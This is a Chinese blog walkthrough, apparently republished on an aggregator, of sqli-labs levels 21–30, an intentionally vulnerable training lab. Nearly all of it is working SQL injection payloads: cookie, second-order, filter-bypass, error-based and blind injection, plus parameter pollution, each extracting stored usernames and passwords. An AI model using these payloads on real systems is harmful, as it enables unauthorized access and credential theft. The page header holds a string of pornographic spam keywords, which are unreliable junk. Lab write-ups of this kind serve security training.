日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

sql-lib闯关秘籍之21-30关

發布時間:2023/12/13 综合教程 27 生活家
生活随笔 收集整理的這篇文章主要介紹了 sql-lib闯关秘籍之21-30关 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

下面開始11-20關,之前不會的關卡可以參考我這幾篇文章: sql-lib闖關秘籍之1-10關,sql-lib闖關秘籍之11-20關

不管是第幾關,我們的最終目標是獲得用戶密碼,從而獲取最高權限!

以下的學習過程中如果遇到那里不會的或者不清楚的地方,歡迎大家留言,我將盡力幫助大家~

第二十一關

我們輸入用戶名密碼之后發現是這個樣子的,和第20關很像對吧,就是cookie的值變成了一堆字母數字,這是對cookie的值進行了base64的處理,其他和20關一樣

獲取版本庫名(我們只要轉碼就可以了)當然要先確認cookie后面的構造,通過測試是單引號括號閉合'),當然這個也要轉碼,給大家一個轉碼的網站

這樣的話就是獲取庫名

最后獲得用戶名密碼,中間步驟不再一一截圖,里面的語句和第一關一樣

這是語句 -admin') union select 1,2,group_concat(username,0x3a,password) from users#=

這是base64轉碼 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

第二十二關

這一關還是輸入用戶名密碼先試試,發現和21關一樣

還是那個步驟先試試是啥閉合方式,發現是雙引號閉合,這就好辦了,其他和上一關一樣(步驟都一樣,直接給最后一步)

這是語句 -admin" union select 1,2,group_concat(username,0x3a,password) from users#=

這是base64碼 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

第二十三關

上來先看一下23關,趕緊又回歸原始了昂,咋和第一關有點像嘞,那還是哪些步驟試一試嘛

我剛開始我試了試發現字符型注入但是后面有個問題,可以用and 但是不能用聯合查詢語句了,一看php文件原來他把我的# --+注釋符號給過濾掉了

一種是用union select聯合查詢放在id里面 ?id=' union select 1,13,database() '

爆表

爆列

爆用戶名密碼

另一種是利用or "1"="1來閉合后面的雙引號也。可以達到我們的目的(簡單測試不再贅述,代碼和第五關的基本一樣) -1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

第二十四關

呀喝,剛進這個頁面有點意思哈

這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以用自己的密碼修改admin的密碼了,

Sql語句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

注冊

登陸

修改密碼

再用admin 密碼123456登陸進來 注入成功

第二十五關

這關一上來好像就告訴我們不能用and喝or進行注入,那咱就不用了,接下來有三種方法(具體步驟不再截圖)

第一種方法,用--+ #這種普通注入 ?id=-1' union select 1,13,database()--+

第二種方法雙寫or和and,因為它過濾一個,我們就讓過濾后的東西再組成一個 ?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

第三種方法,使用&&,||繞過 admin'||updatexml(1,concat(0x7e,(select@@version),0x7e),1)# 網上有成功的案例我沒成功也不知道為什么,我還會琢磨的,等找到答案再來填,

第二十五a關

差點沒發現這一關。。。通過這關的題目我們可以發現這關是盲注,所以說只是不回顯了的不用and和or,而且我測試發現這關是數字型注入也就是說沒有引號

說是盲注但是還有回顯,因為有回顯位(其他截圖步驟省略了,嘿嘿)

再說了,一說到盲注咱們就想到啥了?那肯定是時間盲注和布爾盲注對吧

時間盲注 ?id=-1 || if(length(database())=8,1,sleep(3))#

第二十六關

咱直接看它的php文件吧,越到后面越難了,看完之后滄桑了不少,這是直接來了個過濾大套餐啊,咋辦嘞?我們用URL編碼

%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)
%a0 空格

%27單引號

用'1'='1進行閉合(注意在hackbar中輸入&&時,需要自行URL編碼為%26%26,否則會報錯,而輸入||不需要)

確定顯示位 ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

爆庫名 ?id=0'union%a0select%a01,database(),3%26%26'1'='1

查表名 ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

爆列名 ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

爆用戶名密碼 ?id=0'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1(這里不同的是后面多了where '1'='1,是為了讓語句變成無約束查詢)

還有一種就是用連接符結合上幾天xpath報錯獲取信息來獲取信息 ?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'

還可以盲注 ?id=0'||left(database(),1)='s'%26%26'1'='1

第二十六a關

這關與上一關的區別在于,在后面加上了括號進行閉合,同時在sql語句執行拋出錯誤后并不在前臺頁面輸出。所有我們排除報錯注入,這里依舊是利用union注入

獲取數據庫名 ?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

爆表名 ?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

爆列名 ?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

爆用戶名密碼(全寫出來吧,不截圖了) ?id=100')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

第二十七關

總感覺這關應該是上一關的進化版

發現過濾空格

發現過濾關鍵字

所以我們就用URL編碼和大小寫進行繞過,其他和上一關一樣

爆庫名 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

爆表名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

爆列名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

爆用戶名密碼 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

獲得用戶名密碼

第二十七a關

和第二十七關一樣,就是把單引號變成雙引號閉合了

實驗一下 ?id=0"%A0or(1)=(1)%26%26%a0"1

獲得用戶名密碼(中間步驟省略)

獲得數據庫長度 ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3

獲得數據庫名 ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

爆表名(查表面需要閉合后面雙引號我就用"1"="1來閉合,前面還需要&&(%26%26)并一起,要不然會顯示不出來,這個我經常忘記,沒有就會出現這種情況)

?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

爆列名 ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

爆用戶名密碼?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3

第二十八關

這關在之前的技術上,加上了union和select的大小寫也過濾了,都不能用了

我們直接用盲注,進行測試,一點一點試(其他的不贅述了)

得到數據庫名 (用聯合查詢語句的方法) (過濾union select這一個組合,也要過濾空格,所以采用union union select select方法繞過,空格照樣用%0a替換)

第二十八a關

上一關是單引號,那這一關按規律就是雙引號了,試一下還真是

后來發現這樣也可以 ?id=1)''

爆數據庫名 ?id=0')UNion%a0SElect%a01,database(),('13')=('13

爆表名 ?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('13')=('13

爆列名 ?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('13')=('13

爆用戶名和密碼 ?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('13')=('13

當然除了聯合查詢語句還可以 盲注 0')||left((database()),1)='s';%00

第二十九關

上來測試是雙引號單引號,一般來說都是單引號下一關是雙引號,這個是直接就是雙引號,并且兩個單引號也可以,那么語句可能是 select * from users where id='xx' limit 1,1

獲得數據庫名(union select 聯合查詢語句直接上,和之最開始前幾關一樣)(另外我發現#在這關不能用)

爆表名 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆用戶名和密碼 ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

另外還有別的方法

利用tomcat與apache解析相同請求參數不同的特性,tomcat解析相同請求參數取第一個,而apache取第二個,如?id=1&id=2,tomcat取得1,apache取得2
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23利用tomcat與apache解析相同請求參數不同的特性,tomcat解析相同請求參數取第一個,而apache取第二個,如?id=1&id=2,tomcat取得1,apache取得2
獲得表名 ?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

第三十關

哇!這關和上一關一樣,就是把單引號換成了雙引號,太棒了,這關輕松

爆用戶名密碼 ?id=-1“ union select 1,2,group_concat(username,0x7e,password) from users--+

另外和上一關一樣,也可以利用tomcat與apache解析相同請求參數不同的特性

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

21-30關結束

該文章有參考了以下的網頁:

sqli-lab教程——1-35通關Writeup

SQL注入靶場sqli-labs 1-65關全部通關教程

sqli-labs(less1-less22)

sqli-labs實戰記錄(一)

SQLi_Labs通關文檔【1-65關】

總結

以上是生活随笔為你收集整理的sql-lib闯关秘籍之21-30关的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。